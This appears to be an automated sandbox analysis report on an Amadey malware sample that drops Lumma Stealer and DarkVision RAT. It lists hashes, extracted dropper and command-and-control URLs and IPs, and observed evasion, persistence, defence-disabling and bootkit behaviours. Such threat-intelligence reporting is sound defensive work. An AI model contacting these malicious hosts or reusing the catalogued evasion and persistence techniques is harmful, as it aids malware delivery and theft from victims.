amadey | a40db67ec008dbdbf87fd6c304948096b6bf9f2fa07b6ea9d5e71b59bfdde574

Resubmissions

06/04/2025, 15:38

250406-s23d9assdz 10

06/04/2025, 15:03

250406-sffcla1whv 10

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
06/04/2025, 15:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Size

938KB
MD5

ebbfde535259121763840a367a9c1a92
SHA1

df427a54057634b350520cc472faf3813f59925e
SHA256

a40db67ec008dbdbf87fd6c304948096b6bf9f2fa07b6ea9d5e71b59bfdde574
SHA512

60676876c53cdea75c8b6b0ca67308599c30b91fccfa363802659b02e1acb1ba89c94f762ccc9ea1365bd800a81bf5fc5bdafc2a87442f27c1cff1681319d7f0
SSDEEP

24576:eqDEvCTbMWu7rQYlBQcBiT6rprG8a4Ku:eTvC/MTQYxsWR7a4K

Score

10^/10

amadey darkvision lumma 092155 bootkit defense_evasion discovery execution exploit persistence rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

https://synmedsp.live/lzkdj

https://jrxsafer.top/shpaoz

https://plantainklj.run/opafg

https://puerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://cosmosyf.top/GOsznj

https://yjrxsafer.top/shpaoz

https://krxspint.digital/kendwz

https://rhxhube.run/pogrs

https://grxeasyw.digital/xxepw

https://xrfxcaseq.live/gspaz

https://pepperiop.digital/oage

https://oquavabvc.top/iuzhd

https://6yhtargett.top/dsANGt

https://8yrambutanvcx.run/adioz

https://-puerrogfh.live/iqwez

Extracted

Family

darkvision

82.29.67.160

Attributes

url
http://107.174.192.179/data/003

https://grabify.link/ZATFQO

http://107.174.192.179/clean
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
DarkVision Rat
DarkVision Rat is a trojan written in C++.
rat darkvision
Darkvision family
darkvision
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempRXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	13c8cb249a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3cdd0bcab2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	588146a85c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	5452	powershell.exe
305	8048	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3420	powershell.exe
3216	powershell.exe
5452	powershell.exe
8048	powershell.exe
11440	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 17 IoCs

flow	pid	Process
307	3708	rapes.exe
307	3708	rapes.exe
307	3708	rapes.exe
307	3708	rapes.exe
44	3708	rapes.exe
184	3708	rapes.exe
184	3708	rapes.exe
8	5452	powershell.exe
305	8048	powershell.exe
355	3708	rapes.exe
51	3708	rapes.exe
51	3708	rapes.exe
51	3708	rapes.exe
51	3708	rapes.exe
51	3708	rapes.exe
211	5096	svchost.exe
268	3708	rapes.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\System32\Drivers\klupd_ee9d4903a_arkmon.sys	d979667a.exe
File created	C:\Windows\System32\Drivers\klupd_ee9d4903a_klbg.sys	d979667a.exe
File created	C:\Windows\System32\Drivers\ee9d4903.sys	d979667a.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
6932	takeown.exe
6948	icacls.exe

Sets service image path in registry 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_ee9d4903a_mark\ImagePath = "System32\\Drivers\\klupd_ee9d4903a_mark.sys"	d979667a.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_ee9d4903a_arkmon_7C924DD4\ImagePath = "\\??\\C:\\KVRT2020_Data\\Temp\\7C924DD4D20055C80007791130E2D03F\\klupd_ee9d4903a_arkmon.sys"	d979667a.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bhzyU95_4004\ImagePath = "\\??\\C:\\Windows\\Temp\\q1UgTvcf_4004.sys"	tzutil.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ee9d4903\ImagePath = "System32\\Drivers\\ee9d4903.sys"	d979667a.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_ee9d4903a_arkmon\ImagePath = "System32\\Drivers\\klupd_ee9d4903a_arkmon.sys"	d979667a.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_ee9d4903a_klbg\ImagePath = "System32\\Drivers\\klupd_ee9d4903a_klbg.sys"	d979667a.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_ee9d4903a_klark\ImagePath = "System32\\Drivers\\klupd_ee9d4903a_klark.sys"	d979667a.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6d9c255261.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempRXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	588146a85c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3cdd0bcab2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	13c8cb249a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	588146a85c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6d9c255261.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempRXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	13c8cb249a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3cdd0bcab2.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	af26471a8e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	272.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	272.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	larBxd7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	mshta.exe

Deletes itself 1 IoCs

pid	Process
5856	w32tm.exe

Executes dropped EXE 31 IoCs

pid	Process
1580	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
3708	rapes.exe
2948	crypted.exe
4852	bf942eb4e6.exe
1972	588146a85c.exe
3008	6d9c255261.exe
1248	00f24368ca.exe
5532	af26471a8e.exe
5540	272.exe
4372	272.exe
5056	f5e0b2f1df.exe
4964	24f66895ed.exe
6312	rapes.exe
6708	mtCxnCB.exe
3460	UZPt0hR.exe
4004	tzutil.exe
5856	w32tm.exe
1556	n0hEgR9.exe
8632	larBxd7.exe
7124	Jordan.com
7884	994c51a648.exe
5316	TempRXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE
8416	13c8cb249a.exe
8668	Rm3cVPI.exe
8916	rapes.exe
9364	9sWdA2p.exe
9512	VrQSuEQ.exe
9584	56d7137.exe
7000	d979667a.exe
10044	RYZusWg.exe
11368	3cdd0bcab2.exe

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	3cdd0bcab2.exe
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	588146a85c.exe
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	TempRXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	13c8cb249a.exe
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	rapes.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ee9d4903.sys	d979667a.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ee9d4903.sys\ = "Driver"	d979667a.exe

Loads dropped DLL 26 IoCs

pid	Process
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6948	icacls.exe
6932	takeown.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6d9c255261.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10479430101\\6d9c255261.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\00f24368ca.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10479440101\\00f24368ca.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\af26471a8e.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10479450101\\af26471a8e.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\8922624c-d020-4a1e-9a35-2a54766978b2 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\{19f55cfa-8c59-47da-a2f9-2803758d1dbf}\\8922624c-d020-4a1e-9a35-2a54766978b2.cmd\""	d979667a.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\588146a85c.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10479420101\\588146a85c.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	d979667a.exe

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	13c8cb249a.exe
File opened for modification	\??\PhysicalDrive0	d979667a.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0005000000022b9e-136.dat	autoit_exe
behavioral1/files/0x000c000000024223-28829.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
7364	tasklist.exe
7472	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
1580	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
3708	rapes.exe
1972	588146a85c.exe
6312	rapes.exe
5316	TempRXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE
8416	13c8cb249a.exe
8916	rapes.exe
11368	3cdd0bcab2.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2948 set thread context of 5360	2948	crypted.exe	105
PID 4852 set thread context of 1956	4852	bf942eb4e6.exe	107
PID 1556 set thread context of 6908	1556	n0hEgR9.exe	228
PID 9512 set thread context of 9532	9512	VrQSuEQ.exe	262

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	56d7137.exe
File opened (read-only)	\??\VBoxMiniRdrDN	d979667a.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\AmongDouble	larBxd7.exe
File opened for modification	C:\Windows\GentleOklahoma	larBxd7.exe
File opened for modification	C:\Windows\ModularVol	larBxd7.exe
File opened for modification	C:\Windows\LowerOrgasm	larBxd7.exe
File created	C:\Windows\Tasks\rapes.job	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
File opened for modification	C:\Windows\GovernmentalOttawa	larBxd7.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5256	sc.exe
1812	sc.exe
2532	sc.exe
5948	sc.exe
6900	sc.exe
5336	sc.exe
3900	sc.exe
3904	sc.exe
4336	sc.exe
3044	sc.exe
3248	sc.exe
6680	sc.exe
7084	sc.exe
4248	sc.exe
6968	sc.exe
6984	sc.exe
7028	sc.exe
7128	sc.exe
1464	sc.exe
1076	sc.exe
3960	sc.exe
3440	sc.exe
5080	sc.exe
6036	sc.exe
5740	sc.exe
4076	sc.exe
6604	sc.exe
4652	sc.exe
6920	sc.exe
7072	sc.exe
7116	sc.exe
1764	sc.exe
3244	sc.exe
2232	sc.exe
1164	sc.exe
4916	sc.exe
7012	sc.exe
7156	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 52 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3cdd0bcab2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	00f24368ca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	272.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mtCxnCB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Jordan.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	994c51a648.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f5e0b2f1df.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UZPt0hR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9sWdA2p.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d979667a.exe
